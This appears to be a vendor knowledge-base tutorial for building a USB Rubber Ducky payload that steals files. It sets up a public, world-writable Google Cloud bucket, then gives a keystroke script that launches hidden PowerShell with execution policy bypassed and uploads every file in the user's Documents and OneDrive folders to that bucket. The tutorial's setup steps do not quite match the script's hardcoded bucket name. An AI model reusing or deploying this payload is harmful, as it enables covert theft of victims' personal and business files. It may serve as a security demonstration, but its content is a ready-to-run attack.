Rubber Ducky Data Exfiltration | Google Bucket

2 min. readlast update: 09.10.2024

1 Log in to your Google Cloud console to create a google cloud bucket

  • Select Cloud Storage
  • Buckets

 

undefined

2 Once in the Buckets section:

  • Select Create
  • Name your Bucket [Name Must be unique]
  • accept the default settings
  • Select Create

undefined

 

 

undefined

 

Make sure to uncheck Enforce public access prevention on this bucket as this bucket need to be public facing for the ingress of data to work

 

undefined

Once the bucket has been created you will be presented a screen similar to this one

 

undefined

For this example, we are going to allow for everyone to write (upload files) to the bucket

Select the Permissions tab.

  • Select Grant Access
  • As New principals type in allUsers
  • Assign the role Storage Object Viewer
  • Assign the role Storage Object Creator
  • Select Save
  • Select Allow Public Access

 

undefined

Open a browser and visit Hak5 PayloadStudio

  • Select Community Edition

 

undefined

 

Copy and paste the following code into the Encoder:

REM Data exfiltration to google bucket ThreatLocker GUI r DELAY 2000 STRING cmd ENTER DELAY 2000 STRING powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& { Function UploadFile {Param ([string]$path) Process {$Uri = 'https://www.googleapis.com/upload/storage/v1/b/uploaddemo/o?uploadType=media&name='+$path;Invoke-RestMethod -Method Post -Uri $Uri -Header $header -ContentType 'text/plain' -InFile $path;}}; Get-ChildItem -Path $HOME\Documents,$HOME\OneDrive*\Documents -Recurse | Where-Object { $_.Attributes -ne 'Directory' } | ForEach-Object { try { UploadFile -path $_.FullName }catch{} }; }"" DELAY 2000  

ENTER

DELAY 2000

STRING exit

ENTER

 

undefined

 

Search for the string YOUR_BUCKET_NAME in the ducky script and replace it with your Google Buckets Unique name.

 

undefined

 

Once the change has been made

  • Select Generate Payload
  • Select Download

 

undefined

 

Once Downloaded put your ducky into storage mode by clicking The Button

  • Drag and drop your new inject.bin into the ducky's root directory

 

Congratulations, You are done!

  • Eject the Ducky and plug it back into your computer
  • The Script will run and upload data over to your public Google Bucket
Was this article helpful?